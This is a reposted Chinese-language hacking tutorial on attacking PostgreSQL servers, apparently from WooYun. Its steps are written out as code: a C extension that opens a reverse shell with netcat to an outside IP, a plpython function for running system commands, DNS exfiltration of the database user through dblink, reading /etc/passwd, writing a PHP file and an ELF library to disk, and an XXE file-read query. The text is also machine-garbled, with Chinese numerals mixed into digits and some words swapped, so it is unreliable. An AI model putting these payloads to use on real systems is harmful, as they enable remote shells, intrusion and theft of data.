|
|
|
联系客服020-83701501

Hacking PostgreSQL

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
Hacking PostgreSQL

这篇文章主要讲授了如何 Hacking PostgreSQL 数据库,总结了1些罕用编制。

0x01 SQL 注入

大体上和 MySQL 差未几,有1些变量不1样。具体就再也不举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet。
此外,把持 sqlmap 也是1个不错的法子。

0x02 实行号令

sqlmap 给出的几个 UDF 在我本地测试切实不失利,所以最好的编制是自己编译1个静态链接库。
依照官方文档,我们要界说1个 PG_MODULE_MAGIC。在 PostgreSQL 这个是为了 Postgresql 的安全机制(可以梗概?),在 8.2 当前须要考证这个 magic block,不然,在加在静态链接库的时候会报错:

Default
12 ERROR:  incompatible library "xxx.so": missing magic blockHINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

实行琐屑号令的静态链接库源码为:

Default
1234五6789101112 #include "postgres.h"#include "fmgr.h"#include <stdlib.h> #ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif text *exec(){    system("nc -e /bin/bash 10.211.五5.2 9999");}

把持如下号令编译 .so 文件:

Default
gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so

在 pgsql 里实行:

Default
12 CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' LANGUAGE C STRICT;select exec();

监听的 9999 端口失掉1个 shell:

1 (1)

Python
默认 PostgreSQL 不会安放 Python 的裁减,在 Ubuntu 下可以经由过程:

Default
apt-get install postgresql-plpython-9.1

停止安放,除了 python 的裁减,另有 sh、perl、ruby 等等。
安放完成后,起首是构建1个 UDF 来实行我们要实行的号令:

Default
1234五6 CREATE FUNCTION system (a text)  RETURNS textAS $$  import os  return os.popen(a).read()$$ LANGUAGE plpython2u;

其中的 plpython2u 可以把持如下语句失掉:

Default
select * from pg_language;

我们可以依照返回来果断把持哪个语言(plpython2u、plpythonu、plpython3u 等等)。

2 (1)

构建好 UDF 后,直接调用如下语句即可:

Default
select system('ls -la');

3 (1)

此外,sh、ruby 一概理,可以参考官方文档来写1个 UDF。

文档地点:http://www.postgresql.org/docs/8.2/static/server-programming.html

0x03 DNS 乞求失掉数据

同样的,PostgreSQL 可以经由过程 DNS Request 1样失掉数据,在盲注的环境下。用到的1个裁减叫做 dblink,可以经由过程如下号令封闭:

Default
CREATE EXTENSION dblink

接着运行如下语句,失掉当前数据库用户称说:

Default
SELECT * FROM dblink('host='||(select user)||'.f27五58c1f94c0五9五.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

4 (1)

长途失掉到乞求模式:

5 (1)

0x04 读写文件

PostgreSQL 读取文件固然有些蛋疼,但是照旧可以读取的:

Default
123 CREATE TABLE temptable(t text);COPY temptable FROM '/etc/passwd';SELECT * FROM temptable limit 1 offset 0;

读取结束后:

Default
DROP TABLE temptable;


写文件分为两个局部,1个是写 网站shell,此外1个是写2进制文件。
写 网站shell 无比简单,把持:

Default
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

即可写1个文件。
依照疯狗的这1篇帖子:http://zone.wooyun.org/content/4971,说是可以把持 PostgreSQL 的“大对象数据”来写,但是我测试是胜利的。报错如下:

Default
ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

用 COPY 的 FORMAT 位 binary 来写文件的话,会被 PostgreSQL 加之几个字节,导致不克不及识别为 ELF 文件。
实际上,浏览官方文档可知,写的文件每1页不克不及跨越 2KB,所以我们要把数据分段:

Default
1234五67 SELECT lo_create(1234五);INSERT INTO pg_largeobject VALUES (1234五, 0, decode('7f4五4c4...0000', 'hex'));INSERT INTO pg_largeobject VALUES (1234五, 1, decode('0000000...0000', 'hex'));INSERT INTO pg_largeobject VALUES (1234五, 2, decode('f604000...0000', 'hex'));INSERT INTO pg_largeobject VALUES (1234五, 3, decode('0000000...7400', 'hex'));SELECT lo_export(1234五, '/tmp/test.so');SELECT lo_unlink(1234五);

其中每1段都要小于即是 2KB,何等就可以失利写入:

6 (1)

0x0五 XXE


老版本的 PostgreSQL 存在 XXE 破绽。具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day。
大体就是实行语句:

Default
select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

可以失掉1些数据,也能够停止 SSRF 等。不外因为年代好久,或许很多都修复过了,所以作为1个留存希图,或许会故意外的惊喜。

[via@Ricter] 注:本文转载系颠末乌云官方受权,未被乌云受权的站点请勿转载本文!

数安新闻+更多

证书相关+更多